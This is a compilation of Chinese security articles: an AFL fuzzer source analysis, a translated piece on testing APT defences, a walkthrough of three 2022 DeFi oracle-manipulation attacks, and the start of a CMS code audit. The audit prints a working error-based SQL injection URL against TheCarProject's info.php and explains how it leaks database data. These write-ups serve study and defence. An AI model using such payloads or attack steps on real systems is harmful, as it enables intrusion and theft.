`__afl_maybe_log` 中。如果fuzz是第一次执行，则此时的程序就成了fork server们之后的目标程序都由该fork
server通过fork生成子进程来运行。fuzz进行过程中，fork server会一直执行fork操作，并将子进程的结束状态通过状态管道传递给
`afl-fuzz`。
（对于fork server的具体操作，在前面插桩部分时已经根据源码进行了说明，可以回顾一下。）
##### 2.5 run_target 函数
该函数主要执行目标应用程序，并进行超时监控，返回状态信息，被调用的程序会更新 `trace_bits[]` 。
结合源码进行解释：
static u8 run_target(char** argv, u32 timeout) {
static struct itimerval it;
static u32 prev_timed_out = 0;
static u64 exec_ms = 0;
int status = 0;
u32 tb4;
child_timed_out = 0;
/* After this memset, trace_bits[] are effectively volatile, so we
must prevent any earlier operations from venturing into that
territory. */
memset(trace_bits, 0, MAP_SIZE); // 将trace_bits全部置0，清空共享内存
MEM_BARRIER();
/* If we're running in "dumb" mode, we can't rely on the fork server
logic compiled into the target program, so we will just keep calling
execve(). There is a bit of code duplication between here and
init_fork server(), but c'est la vie. */
if (dumb_mode == 1 || no_fork server) { // 如果是dumb_mode模式且没有fork server
child_pid = fork(); // 直接fork出一个子进程
if (child_pid < 0) PFATAL("fork() failed");
if (!child_pid) {
... ...
/* Isolate the process and configure standard descriptors. If out_file is
specified, stdin is /dev/null; otherwise, out_fd is cloned instead. */
setsid();
dup2(dev_null_fd, 1);
dup2(dev_null_fd, 2);
if (out_file) {
dup2(dev_null_fd, 0);
} else {
dup2(out_fd, 0);
close(out_fd);
}
/* On Linux, would be faster to use O_CLOEXEC. Maybe TODO. */
close(dev_null_fd);
close(out_dir_fd);
close(dev_urandom_fd);
close(fileno(plot_file));
/* Set sane defaults for ASAN if nothing else specified. */
setenv("ASAN_OPTIONS", "abort_on_error=1:"
"detect_leaks=0:"
"symbolize=0:"
"allocator_may_return_null=1", 0);
setenv("MSAN_OPTIONS", "exit_code=" STRINGIFY(MSAN_ERROR) ":"
"symbolize=0:"
"msan_track_origins=0", 0);
execv(target_path, argv); // 让子进程execv执行目标程序
/* Use a distinctive bitmap value to tell the parent about execv()
falling through. */
*(u32*)trace_bits = EXEC_FAIL_SIG; // execv执行失败，写入 EXEC_FAIL_SIG
exit(0);
}
} else {
s32 res;
/* In non-dumb mode, we have the fork server up and running, so simply
tell it to have at it, and then read back PID. */
// 如果并不是处在dumb_mode模式，说明fork server已经启动了，我们只需要进行
// 控制管道的写和状态管道的读即可
if ((res = write(fsrv_ctl_fd, &prev_timed_out, 4)) != 4) {
if (stop_soon) return 0;
RPFATAL(res, "Unable to request new process from fork server (OOM?)");
}
if ((res = read(fsrv_st_fd, &child_pid, 4)) != 4) {
if (stop_soon) return 0;
RPFATAL(res, "Unable to request new process from fork server (OOM?)");
}
if (child_pid <= 0) FATAL("Fork server is misbehaving (OOM?)");
}
/* Configure timeout, as requested by user, then wait for child to terminate. */
// 配置超时，等待子进程结束
it.it_value.tv_sec = (timeout / 1000);
it.it_value.tv_usec = (timeout % 1000) * 1000;
setitimer(ITIMER_REAL, &it, NULL);
/* The SIGALRM handler simply kills the child_pid and sets child_timed_out. */
if (dumb_mode == 1 || no_fork server) {
if (waitpid(child_pid, &status, 0) <= 0) PFATAL("waitpid() failed");
} else {
s32 res;
if ((res = read(fsrv_st_fd, &status, 4)) != 4) {
if (stop_soon) return 0;
RPFATAL(res, "Unable to communicate with fork server (OOM?)");
}
}
if (!WIFSTOPPED(status)) child_pid = 0;
getitimer(ITIMER_REAL, &it);
exec_ms = (u64) timeout - (it.it_value.tv_sec * 1000 +
it.it_value.tv_usec / 1000); // 计算执行时间
it.it_value.tv_sec = 0;
it.it_value.tv_usec = 0;
setitimer(ITIMER_REAL, &it, NULL);
total_execs++;
/* Any subsequent operations on trace_bits must not be moved by the
compiler below this point. Past this location, trace_bits[] behave
very normally and do not have to be treated as volatile. */
MEM_BARRIER();
tb4 = *(u32*)trace_bits;
// 分别执行64和32位下的classify_counts，设置trace_bits所在的mem
#ifdef WORD_SIZE_64
classify_counts((u64*)trace_bits);
#else
classify_counts((u32*)trace_bits);
#endif /* ^WORD_SIZE_64 */
prev_timed_out = child_timed_out;
/* Report outcome to caller. */
if (WIFSIGNALED(status) && !stop_soon) {
kill_signal = WTERMSIG(status);
if (child_timed_out && kill_signal == SIGKILL) return FAULT_TMOUT;
return FAULT_CRASH;
}
/* A somewhat nasty hack for MSAN, which doesn't support abort_on_error and
must use a special exit code. */
if (uses_asan && WEXITSTATUS(status) == MSAN_ERROR) {
kill_signal = 0;
return FAULT_CRASH;
}
if ((dumb_mode == 1 || no_fork server) && tb4 == EXEC_FAIL_SIG)
return FAULT_ERROR;
/* It makes sense to account for the slowest units only if the testcase was run
under the user defined timeout. */
if (!(timeout > exec_tmout) && (slowest_exec_ms < exec_ms)) {
slowest_exec_ms = exec_ms;
}
return FAULT_NONE;
}
##### 2.6 update_bitmap_score 函数
当我们发现一个新路径时，需要判断发现的新路径是否更“favorable”，也就是是否包含最小的路径集合能遍历到所有bitmap中的位，并在之后的fuzz过程中聚焦在这些路径上。
以上过程的第一步是为bitmap中的每个字节维护一个 `top_rated[]` 的列表，这里会计算究竟哪些位置是更“合适”的，该函数主要实现该过程。
函数的控制流程图如下：
结合源码进行解释：
static void update_bitmap_score(struct queue_entry* q) {
u32 i;
u64 fav_factor = q->exec_us * q->len;
// 首先计算case的fav_factor，计算方法是执行时间和样例大小的乘积
/* For every byte set in trace_bits[], see if there is a previous winner,
and how it compares to us. */
for (i = 0; i < MAP_SIZE; i++) // 遍历trace_bits数组
if (trace_bits[i]) { // 不为0，表示已经被覆盖到的路径
if (top_rated[i]) { // 检查top_rated是否存在
/* Faster-executing or smaller test cases are favored. */
if (fav_factor > top_rated[i]->exec_us * top_rated[i]->len) continue; // 判断哪个计算结果更小
// 如果top_rated[i]的更小，则代表它的更优，不做处理，继续遍历下一个路径；
// 如果q的更小，就执行以下代码：
/* Looks like we're going to win. Decrease ref count for the
previous winner, discard its trace_bits[] if necessary. */
if (!--top_rated[i]->tc_ref) {
ck_free(top_rated[i]->trace_mini);
top_rated[i]->trace_mini = 0;
}
}
/* Insert ourselves as the new winner. */
top_rated[i] = q; // 设置为当前case
q->tc_ref++;
if (!q->trace_mini) { // 为空
q->trace_mini = ck_alloc(MAP_SIZE >> 3);
minimize_bits(q->trace_mini, trace_bits);
}
score_changed = 1;
}
}
#### 3\. 主循环
##### 3.1 主循环之前
###### 3.1.1 cull_queue 函数
在前面讨论的关于case的 `top_rated` 的计算中，还有一个机制是检查所有的 `top_rated[]`
条目，然后顺序获取之前没有遇到过的byte的对比分数低的“获胜者”进行标记，标记至少会维持到下一次运行之前。在所有的fuzz步骤中，“favorable”的条目会获得更多的执行时间。
函数的控制流程图如下：
结合源码解析如下：
static void cull_queue(void) {
struct queue_entry* q;
static u8 temp_v[MAP_SIZE >> 3];
u32 i;
if (dumb_mode || !score_changed) return; // 如果处于dumb模式或者score没有发生变化（top_rated没有发生变化），直接返回
score_changed = 0;
memset(temp_v, 255, MAP_SIZE >> 3);
// 设置temp_v大小为MAP_SIZE>>3，初始化为0xff，全1，表示还没有被覆盖到，为0表示被覆盖到了。
queued_favored = 0;
pending_favored = 0;
q = queue;
while (q) { // 进行队列遍历
q->favored = 0; // 所有元素的favored均设置为0
q = q->next;
}
/* Let's see if anything in the bitmap isn't captured in temp_v.
If yes, and if it has a top_rated[] contender, let's use it. */
// i从0到MAP_SIZE进行迭代，筛选出一组队列条目，它们可以覆盖到所有现在已经覆盖的路径
for (i = 0; i < MAP_SIZE; i++)
if (top_rated[i] && (temp_v[i >> 3] & (1 << (i & 7)))) {
u32 j = MAP_SIZE >> 3;
/* Remove all bits belonging to the current entry from temp_v. */
// 从temp_v中，移除所有属于当前current-entry的byte，也就是这个testcase触发了多少path就给tempv标记上
while (j--)
if (top_rated[i]->trace_mini[j])
temp_v[j] &= ~top_rated[i]->trace_mini[j];
top_rated[i]->favored = 1;
queued_favored++;
if (!top_rated[i]->was_fuzzed) pending_favored++;
}
q = queue;
while (q) { // 遍历队列，不是favored的case（冗余的测试用例）被标记成redundant_edges
mark_as_redundant(q, !q->favored); // 位置在/queue/.state/redundent_edges中
q = q->next;
}
}
这里根据网上公开的一个例子来理解该过程：
现假设有如下tuple和seed信息：
* **tuple** : t0, t1, t2, t3, t4
* **seed** : s0, s1, s2
* 初始化 `temp_v = [1,1,1,1,1]`
* s1可覆盖t2, t3，s2覆盖t0, t1, t4，并且top_rated[0] = s2，top_rated[2]=s1
将按照如下过程进行筛选和判断：
1. 首先判断 temp_v[0]=1，说明t0没有被覆盖；
2. top_rated[0] 存在 (s2) -> 判断s2可以覆盖的范围 -> `trace_mini = [1,1,0,0,1]`；
3. 更新 `temp_v=[0,0,1,1,0]`， 标记s2为 "favored"；
4. 继续判断 temp_v[1]=0，说明t1此时已经被覆盖，跳过；
5. 继续判断 temp_v[2]=1，说明t2没有被覆盖；
6. top_rated[2] 存在 (s1) -> 判断s1可以覆盖的范围 -> `trace_mini=[0,0,1,1,0]`；
7. 更新 `temp_v=[0,0,0,0,0]`，标记s1为 "favored"；
8. 此时所有tuple都被覆盖，具备"favored'标记的为s1, s2，过程结束。
###### 3.1.2 show_init_stats 函数
进入主循环前的准备工作使用的函数之一，主要作用为在处理输入目录的末尾显示统计信息，警告信息以及硬编码的常量；
###### 3.1.3 find_start_position 函数
进入主循环前的准备工作使用的函数之一，主要作用为在resume时，尝试查找要开始的队列的位置。
###### 3.1.4 write_stats_file 函数
也是准备工作函数之一，主要作用为更新统计信息文件以进行无人值守的监视。
###### 3.1.5 save_auto 函数
该函数主要保存自动生成的extras。
##### 3.2 主循环
这里是seed变异的主循环处理过程，我们将结合流程图和源码进行详细解读。
主循环的控制流程图如下（将while部分单独设置为了一个函数，只看循环部分即可）：
主循环源码：
while (1) {
u8 skipped_fuzz;
cull_queue(); // 调用cull_queue进行队列精简
if (!queue_cur) { // 如果queue_cure为空（所有queue都被执行完一轮）
queue_cycle++; // 计数器，所有queue执行的轮数
current_entry = 0;
cur_skipped_paths = 0;
queue_cur = queue; // 准备开始新一轮fuzz
while (seek_to) { // 如果seek_to不为空
current_entry++;
seek_to--;
queue_cur = queue_cur->next; // 从seek_to指定的queue项开始执行
}
show_stats(); // 刷新展示界面
if (not_on_tty) {
ACTF("Entering queue cycle %llu.", queue_cycle);
fflush(stdout);
}
/* If we had a full queue cycle with no new finds, try
recombination strategies next. */
if (queued_paths == prev_queued) { // 如果一轮执行后queue中的case数与执行前一样，表示没有发现新的case
if (use_splicing) cycles_wo_finds++; else use_splicing = 1; // 是否使用splice进行case变异
} else cycles_wo_finds = 0;
prev_queued = queued_paths;
if (sync_id && queue_cycle == 1 && getenv("AFL_IMPORT_FIRST"))
sync_fuzzers(use_argv);
}
skipped_fuzz = fuzz_one(use_argv); // 对queue_cur进行一次测试
if (!stop_soon && sync_id && !skipped_fuzz) {
// 如果skipped_fuzz为0且存在sync_id，表示要进行一次sync
if (!(sync_interval_cnt++ % SYNC_INTERVAL))
sync_fuzzers(use_argv);
}
if (!stop_soon && exit_1) stop_soon = 2;
if (stop_soon) break;
queue_cur = queue_cur->next;
current_entry++;
}
总结以上内容，该处该过程整体如下：
1. 判断 `queue_cur` 是否为空，如果是则表示已经完成队列遍历，初始化相关参数，重新开始一轮；
2. 找到queue入口的case，直接跳到该case；
3. 如果一整个队列循环都没新发现，尝试重组策略；
4. 调用关键函数 `fuzz_one()` 对该case进行fuzz；
5. 上面的变异完成后，AFL会对文件队列的下一个进行变异处理。当队列中的全部文件都变异测试后，就完成了一个”cycle”，这个就是AFL状态栏右上角的”cycles done”。而正如cycle的意思所说，整个队列又会从第一个文件开始，再次进行变异，不过与第一次变异不同的是，这一次就不需要再进行“deterministic fuzzing”了。如果用户不停止AFL，seed文件将会一遍遍的变异下去。
##### 3.3 主循环后
###### 3.3.1 fuzz_one 函数
该函数源码在1000多行，出于篇幅原因，我们简要介绍函数的功能。但强烈建议通读该函数源码，
函数主要是从queue中取出entry进行fuzz，成功返回0，跳过或退出的话返回1。
整体过程：
1. 根据是否有 `pending_favored` 和`queue_cur`的情况，按照概率进行跳过；有`pending_favored`, 对于已经fuzz过的或者non-favored的有99%的概率跳过；无pending_favored，95%跳过fuzzed&non-favored，75%跳过not fuzzed&non-favored，不跳过favored；
2. 假如当前项有校准错误，并且校准错误次数小于3次，那么就用calibrate_case进行测试；
3. 如果测试用例没有修剪过，那么调用函数trim_case对测试用例进行修剪；
4. 修剪完毕之后，使用calculate_score对每个测试用例进行打分；
5. 如果该queue已经完成deterministic阶段，则直接跳到havoc阶段；
6. deterministic阶段变异4个stage，变异过程中会多次调用函数common_fuzz_stuff函数，保存interesting 的种子：
7. bitflip，按位翻转，1变为0，0变为1
8. arithmetic，整数加/减算术运算
9. interest，把一些特殊内容替换到原文件中
10. dictionary，把自动生成或用户提供的token替换/插入到原文件中
11. havoc，中文意思是“大破坏”，此阶段会对原文件进行大量变异。
12. splice，中文意思是“绞接”，此阶段会将两个文件拼接起来得到一个新的文件。
13. 该轮完成。
这里涉及到AFL中的变异策略，不在本次的讨论中，感兴趣的小伙伴可以结合源码自行进行研究。
###### 3.3.2 sync_fuzzers 函数
该函数的主要作用是进行queue同步，先读取有哪些fuzzer文件夹，然后读取其他fuzzer文件夹下的queue文件夹中的测试用例，然后以此执行。如果在执行过程中，发现这些测试用例可以触发新路径，则将测试用例保存到自己的queue文件夹中，并将最后一个同步的测试用例的id写入到
`.synced/fuzzer文件夹名` 文件中，避免重复运行。
## 四、总结
分析完源码，可以感受到，AFL遵循的基本原则是简单有效，没有进行过多的复杂的优化，能够针对fuzz领域的痛点，对症下药，拒绝花里胡哨，给出切实可行的解决方案，在漏洞挖掘领域的意义的确非同凡响。后期的很多先进的fuzz工具基本沿用了AFL的思路，甚至目前为止已基本围绕AFL建立了“生态圈”，涉及到多个平台、多种漏洞挖掘对象，对于安全研究员来说实属利器，值得从事fuzz相关工作的研究员下足功夫去体会AFL的精髓所在。
考虑到篇幅限制，我们没有对AFL中的变异策略进行源码说明，实属遗憾。如果有机会，将新开文章详细介绍AFL的变异策略和源码分析。
## 五、参考文献
1. <http://lcamtuf.coredump.cx/afl/>
2. <https://eternalsakura13.com/2020/08/23/afl/>
3. <https://bbs.pediy.com/thread-265936.htm>
4. <https://bbs.pediy.com/thread-249912.htm#msg_header_h3_3>
* * * | 社区文章 |
# 有效测试APT防护：APT定义，处理异议，测试利用方法
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://www.virusbulletin.com/uploads/pdf/magazine/2016/vb201601-effectively-testing-APT-defences.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
概述：本文讲述我们所解决的一些关于APT保护软件以及设备的挑战。我们将从客观角度讲述了，什么是APT攻击，APT攻击是如何实现的，APT测试的现状以及发展等等一系列内容。并且我们在最后，将为那些正在试图采取措施或者受到APT攻击困惑的人们提供一些简单的指导。
**1.摘要：**
观望网络安全市场的人会注意到，号称能够对抗‘Advanced Persistent Threats’
(APTs)（高级持续性威胁）的保护性产品会迅速崛起。随着有针对性的攻击获得更多关注，安全产品开发者将更多的注意力放在了新的防御技术的实施上，这就需要测试针对新威胁时产品的功效。然而，与一般产品测试相比，APTs
向测试者发起了更多挑战。在这种情况下，我们问APT的保护性能否得以测试，如果能的话，是否具有实际操作性。
**2.什么是APT?**
虽然”APT”这个词如今已经应用普遍，但是还是没有针对它的具有普遍接受性的定义，这就极大地导致了测试时的问题。
在某种程度上，APT已经成为了今年的流行词，但供应商，评论者和用户根据不同的环境和目的使用这个词汇。这种定义上的困难只会增加混乱。
比如， **TechTarget** 定义如下：
“高级持续性威胁（APT）是一种由未经授权的人在很长时间不被发现的情况下获得网络访问权的网络攻击。”
根据这一定义，样本要想成为APT，必须做到不被发现。如果产品检测出威胁，那它就不是APT。
这就导致了必然结果是测试APT的唯一有效结果是什么都发现不到（除非检测样本不是APT）。
尽管这一定义因此而显著地简化了APT的普遍性测试，但这也使APT测试成为了一个非常简单（不存在）的任务，因此我们需要寻找一个更为实际的定义。下面是一些其它的相当有趣的定义：
**维基百科：**
APT是一系列隐身和持续的电脑攻击过程，经常被人为策划为针对某一实体。APT通常针对出于经济或政治动机的组织或国家。APT过程需要长时间的高度隐蔽性。
**NSS实验室：**
NSS实验室对有针对性的攻击采用另一个字母缩写，指的是Targeted Persistent Attack (TPA)（有针对性的持续攻击）。
针对性：攻击者出于某一具体原因选择该机构。
持久性：这种攻击能够使用多个命令控制渠道和攻击向量，不断增加它在你IT系统和资源里的渗透力。它也是顽固的，反抗整治举动。
攻击性：尽管“威胁”这个词汇在用于APT的内容里时有些模糊，但在这里没什么是不清楚的。这是一次真正的攻击，它可能有几个不同的阶段。
**Gartner:**
高级威胁：任何能够通过你现有的防御的攻击。
持续威胁：任何成功不被发现并且持续造成破坏的攻击。
高级持续威胁：任何能够通过现有防御，不被发现并持续造成破坏的攻击。
这些定义的问题在于，一旦再次使用，它们就被定义为APT的核心。这些定义是的APT防御和测试没有用处。其他的定义集中在其他方面：
**RSA：**
“一个高级持续威胁是针对高价值资产或物理系统的有目标性的攻击”。虽然这是一个可以容易地确定攻击是否属于这一类的有用定义，但它不能解释APT中“高级”和“持续性”属性的意义。
**Damaballa:**
“‘Advanced Persistent Threats
(APTs)（高级持续威胁）属于针对经济和政治目标的网络犯罪范畴。为了成功APT需要在延长的操作时间里具有高度的隐蔽性。
高级性–在这些威胁背后的犯罪者利用计算机入侵技术的全谱和···
持久性–犯罪者会优先处理具体的任务，而不是投机取巧立即寻求经济增益。
威胁–意味着在攻击中有协调性的人为参与，而不是一段盲目的自动化代码···
我们试图在抽象的层面上定义APT时做出了很多定义，但是很少能够帮助测试者归类测试场景。在这一点上我们最好的选择就是改变范围，沿着RSA定义线路得到一个更好的界定和更实用的针对有目标性的攻击做出的定义。
“APT”和“有针对性的攻击”经常同义地用于新闻界和APT供应商中，因此坚持在测试方案中更容易地定义“有针对性的攻击”是有意义的。
为了测试的实用性目的，我们定义针对性攻击如下：
有针对性的攻击是指针对有限的预先选定的高价值资产或物理系统并且有明确的数据泄露或损害的目的的感染方案。
**3.APT攻击是什么情形？**
对一个有针对性的运作流程进行说明，我们以当前流行的微软Word漏洞进行讲解。
① 网络钓鱼邮件：该恶意软件是被放在邮件中传播的。
② 利用文件：电子邮件附件是一个.doc的文件，攻击者可以利用微软办公软件的漏洞进行攻击。由Microsoft Word Intruder
生成工具包。一旦打开文件，就会触发其中一个漏洞（具体取决于系统补丁状态），并且需要嵌入在文档中的’shellcode’得到执行。
③ Shellcode:尽管(CVE-2012-0158, CVE-2013-3906 and CVE-2014-1761)
其中任何一个漏洞，都有一个开发版块，以及一个单独的shellcode.但是，它们都会有同样的流程（见图一）。
图1：多个漏洞存在于同一个文档中。
图2：主木马下载。
图3：C&C的接收与反馈。
图4：溢出凭证
图5：不同的安全模块可以在若干点上阻塞方案。
图6：忽略多个防御层，使一个不完整的测试面临风险。
**4.对APT测试的异议**
反APT产品的供应商也许有很多反对测试者评估他们的理由。在新闻界有的公开声明批判这些测试，而之前在本文中我们分析了一些APT的解释，其中明确表示供应商、分析师和其他人对于什么是真正的APT各抒已见。
如果测试人员和供应商不能在产品用途上达成一致，那么这会给测试带来主要障碍。以下是一些供应商可能会反对测试人员评估产品的原因：
•一般情况，会情不自禁的对安全测试/测试人员产生怀疑或是不信任。
•APT检测/保护市场还未成熟，而且当前对测试结果非常敏感。
•在提供有用结果的方面，测试是有一定的局限性的。因为他们并不是基于真实情况中发生的事件。
•声称产品是不可测试的，因为一个现实的测试要求：
1. –对警报作出反应的防卫
2. –未知的恶意软件/攻击
3. –恶意软件/漏洞总是会绕过其他防御技术
**5.不断前进、发展**
基于本文上述讨论，有一点需要我们明确的是，这是一个连续的、可行性的攻击，这点符合了一些人关于什么是APT的定义。因此，测试结果在这方面会必不可少的有所展现，正如我们所说的，攻击者的技能会从战斗力五渣进化到大杀器爆表。
想要发展与提升，我们需要明白的是：
1. 明确APT测试的内容
2. 明确攻击威胁是微不足道，还是极度危险，亦或是其他。
3. 明确这是否是一层或是一套的测试
4. 任何APT测试必须渗透在检测
** 6.总结**
APT测试非常复杂，我们并不需要考虑APT无法进行术语定义的现状。此外，在真实场景中，当攻击削弱的时候APT攻击者不会盲目的认输，攻击者们会不断地探寻挖掘，直到弱点被发现。考虑到攻击者与防御者会共同进化、升级，这方面是最为明显的。攻击者在找寻攻击目标时是有针对性的，他们会尽快的适应防御并采取行动。能够阻止第一波APT攻击，不代表攻击事件的结束，这对我们来说还远远不够。相反，我们的保护机制必须能够承受一波又一波的攻击。
我们认为，最重要的是，我们应该向不断进步的测试者致敬，并且测试用户需要清楚的知道，测试的目的是什么，以及测试可以解决哪些方面的问题。这个问题同样也可以帮助到攻击测试人员以及受到攻击的人。
本文仅代表作者个人观点，与AMTSO以及他们当前的老板无关。
因篇幅问题，想了解APT的详细内容还请阅读PDF，下载地址：[
**https://yunpan.cn/cxPARQsefC9nf**](https://yunpan.cn/cxPARQsefC9nf)
**(提取码:f7d2)** | 社区文章 |
**作者：w2ning
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：paper@seebug.org**
## 写在前面的废话
以下是对2022年上半年3个独立攻击事件的汇总分析, 虽然漏洞原理各不相同, 但他们都有一个共同点:
攻击者不再只依赖`FlashLoan`进行`Single-Transaction-Attack`(我自己瞎起的说法).
而是真金白银地砸出数百万美金去操纵价格,制造漏洞触发的前置环境, 最后成功完成恶意攻击.
如果2022年之前的攻击者们还只是钻研代码, 空手套白狼的穷小子.
那么非常明显的, 2022年之后的他们不仅更加专业, 而且手上弹药充足, 人均索罗斯了可以说.
这样的大环境对众多Dapp的鲁棒性提出了更高的要求, 曾经被认为安全的经济模型或许需要重新思考:
> 所谓`高昂`的攻击成本是否还可以让那些心怀恶意的人望而却步.
以下3个事件按时间顺序排列
## Fortress
2022年5月9日, 攻击者通过预言机合约`Chain.sol`的`submit()`函数未授权调用的问题,
恶意操纵了`FTS`的价格, 用原本低价值`FTS`抵押借贷了多种高价值Token离场
但其实攻击者早在4月就已经开始了前置准备工作:
1.4月27日,分配购买大量的`FTS`
2.5月2日,发布恶意提案
因为在此前`FTS`并不是官方承认的抵押物, 并不能凭`FTS`借出其他Token
所以提案内容就是把`FTS`添加进`collateral`的名单中
<https://bsc.fortress.loans/vote/proposal/11>
3.5月9日,提案正式通过后, 部署攻击合约
攻击合约在一次Transaction中同时完成了`执行提案??篡改价格??添加质押??借出其他Token`的操作
非常耐心了属于是.
## DEUS
2022年4月28日, DEUS所使用的`Muon VWAP`预言机被恶意操纵价格, 导致`DEI`的价格翻了20倍.
攻击者用`DEI`超额借出约1300万美金的资产离场
1.跨链转入两百多万的`USDC`作为攻击预备资金
2.随后在`USDC/DEI`交易对上精心构造了一笔`200万USDC??10万DEI`的`swap`,先实现对`Muon VWAP`预言机喂价的操纵.
3.丧心病狂的调用了22个不同Dex不同池子的闪电贷...
(在Trace中点开至少22*3层嵌套才找到核心攻击逻辑是一种怎样的体验?)
这一举动几乎借空了`Fantom`链上的1.4亿`USDC`, 再次在`USDC/DEI`交易对上兑换`DEI`
确保`USDC/DEI`交易对的价格和`Muon VWAP`预言机的链下签名喂价保持一致.
<https://ftmscan.com/tx/0x39825ff84b44d9c9983b4cff464d4746d1ae5432977b9a65a92ab47edac9c9b5>
4.最后抵押`USDC/DEI`的LPToken, 借走1700万的`DEI`, 换回`USDC`, 归还22个闪电贷, 带着约1300万美元的利润跨链离场
<https://ftmscan.com/address/0x750007753eCf93CeF7cFDe8D1Bef3AE5ea1234Cc#tokentxns>
> 这次攻击事件我是真的服气
>
> 不论是前期巨额的预备资金
>
> 22次闪电贷的嵌套调用
>
> 还有对`链下预言机`和`链上交易对`运行机制的理解
>
> 我佩服的五体投地
>
> 或许1300万美金只能在`Rekt`上排第41位
> 但是在我心里它排前三
## INVERSE
2022年4月2日, `INV`的价格被恶意操纵, 损失约1500万美金
1.从混币器中取出900个`ETH`作为攻击预备资金
2.在`INV-WETH`交易对上进行swap操作, 用500个`ETH`换`1700`INV, 一定程度上操纵了价格
<https://etherscan.io/tx/0x20a6dcff06a791a7f8be9f423053ce8caee3f9eecc31df32445fc98d4ccd8365>
说一定程度是因为`Inverse Finance`所使用的预言机为`Sushi Twap`
它会采样每个块的第一笔与`INV`有关的历史交易价格作为参考,加权平均算出当前价格
也就是说, 攻击者需要在时间窗口期,多个块区间内维持这一扭曲的价格.
3.于是攻击者开始通过多个地址发布垃圾交易, 挤占整个区块
排挤掉其他正常的交易, 确保扭曲的价格不被其他人破坏
攻击者通过`Disperse`把361.5个`ETH`平均分给了241个地址
<https://etherscan.io/tx/0x561e94c8040c82f8ec717a03e49923385ff6c9e11da641fbc518ac318e588984>
拆分后241个地址同时向一个地址转账, 大量左手倒右手的交易只是为了挤占整个区块,让`Twap`的价格生效
<https://etherscan.io/txs?a=0x8b4c1083cd6aef062298e1fa900df9832c8351b3>
4.随后攻击者质押`INV`, 借出价值1500万美金`wbtc`,`YFI`,`DOLA`离场.
<https://etherscan.io/tx/0x600373f67521324c8068cfd025f121a0843d57ec813411661b07edc5ff781842>
### 综上
这些攻击者在`财务自由`之前就已经`财务自由`了.
很多之前被认为`成本很高, 哪有人这么下本儿`的攻击手段,正在一个一个在现实中发生.
Dapp开发者在设计协议时, 可能需要重新给`假想敌`做`画像`了.
* * * | 社区文章 |
### 前言
前一阵一直在忙着申请研究生，所以审计这一块落下了好多，今天拿出键盘都落灰了。最近在学习的时候遇到了一些瓶颈，无论是wbe挖洞还是审计都感觉自己只是懂得一些表面知识，比较肤浅，对于整个流程在脑子里面没有办法构成一张完整的图。还是看了一位师傅的代码审计学习道路，找到一些Poc据此进行分析，跟进整个流程希望通过借鉴这种学习方法可以提升自己一点。另外写文章的文笔也需要提高，其实就是思路上要理清楚，一环扣一环，把不懂的人给讲清楚，本篇文章我也会尽我所能将细枝末节的地方理清楚，讲清楚。
### 从Poc开始
从舍友推荐的[网站](https://www.exploit-db.com/exploits/46555)上看到了这个CMS的漏洞，主要是其中的SQL注入比较多，首先将所有的Poc放出来一个接一个分析。
`http://localhost/TheCarProject/cp/info.php?man_id=3&car_id=-1 or 1=1 and
(SELECT 1 and ROW(1,1)>(SELECT
COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x
FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)`
`http://localhost/TheCarProject/cp/info.php?man_id=3&car_id=-1 or 1=1 and
(SELECT 1 and ROW(1,1)>(SELECT
COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x
FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)`
首先分析一下Poc， **car_id** 提交正常参数 **1** 之后未使用单/双引号 **\' \"**
进行闭合，所以判断为数字型SQL注入。后面跟随的是SQL查询语句， **concat**
函数作用是连接括号内所有字符串参数成为一个字符串，第一个参数均使用了ASCII进行转码，第二个参数是一个16进制编码字符，将concat函数中的参数翻译过来的Poc语句是
:
`SELECT 1 and (ROW(1,1)>(SELECT COUNT(*), CONCAT(_!@4dilemma,:,
FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLECTIONS GROUP BY x)a;`
可能有些小伙伴跟我一样平时也不太在意SQL注入语句中的具体含义，sqlmap直接跑一下就好，但是秉承着给自己找麻烦的原则，我来分析一下这个语句的含义。首先将目光聚焦在语句前面部分的比较符号上
**( >)** ， **ROW函数**
函数在[MySQL官方文档](https://dev.mysql.com/doc/refman/8.0/en/row-subqueries.html)中给出的定义如下:
[
翻译过来的意思为：标量或列子查询返回一个值或一列值。
行子查询是返回单行的子查询变体，因此可以返回多个列值。听起来是不是十分拗口难懂。其实Poc中的ROW(1,1)包含两部分，一部分是ROW函数本身，另一部分是被称作行构造函数表达式的(1,1)。[MySQL官方文档](https://dev.mysql.com/doc/refman/8.0/en/row-constructor-optimization.html)中有一个例子:
[](./img/4555436005090667510.png
"行构造函数表达式")
第一个和第二个表达式的意义是相等的。那么再回头看一看整体的 **ROW(1,1) >**
便能理解其中的含义，即第一个查询结果的第一列要大于第二个查询结果的第一列。如果成功就返回结果，不成功返回空值。至于为什么不是 **ROW(1)** 而是
**ROW(1,1)** 同样的MySQL官方文档也给了我们解释:
[](./img/5814482771735460020.png
"行构造函数参数问题")
理解了其中的细节之后我们在从总体上看这一句Poc，很明显是一个报错型SQL注入，报错原因是因为临时表中的主键值重复，造成重复的原因是Poc语句中的
**FLOOR(RAND(0)*2)** 产生规律的 **011011011......** 序列导致分组统计 **count(*)...group
by** 时临时表中的主键值重复抛出错误信息。实现起来是这样的：
首先使用 **floor(rand(0)*2)** 生成011序列作为临时表中的键值：
[](./img/6306424513011864142.png
"临时表")
接着使用分组统计触发临时表主键值重复问题爆出错误：
[](./img/1279136830789178401.png
"主键值重复报错")
可以看到上图中已经爆出错误信息，其中包含我们希望查询到的数据库版本 **10.3.12-MariaDB-2** .
[](./img/5395969920607510156.png
"爆数据库")
爆数据库
分析完了Poc中的各个部分之后让我们总体看一下：
[](./img/2052657015730493703.png
"Poc总体分析")
### 代码审计
从Poc可以看出存在SQL注入的文件是 **cp/info.php**
[](./img/2765521816062426273.png
"car_id")
代码 **第9行** 中出现了 **car_id** 参数，是由用户以 **get** 方式从url提交的变量，直接赋值给 **motor_id**
参数，跟进一下
[](./img/8358534581834612205.png
"1")
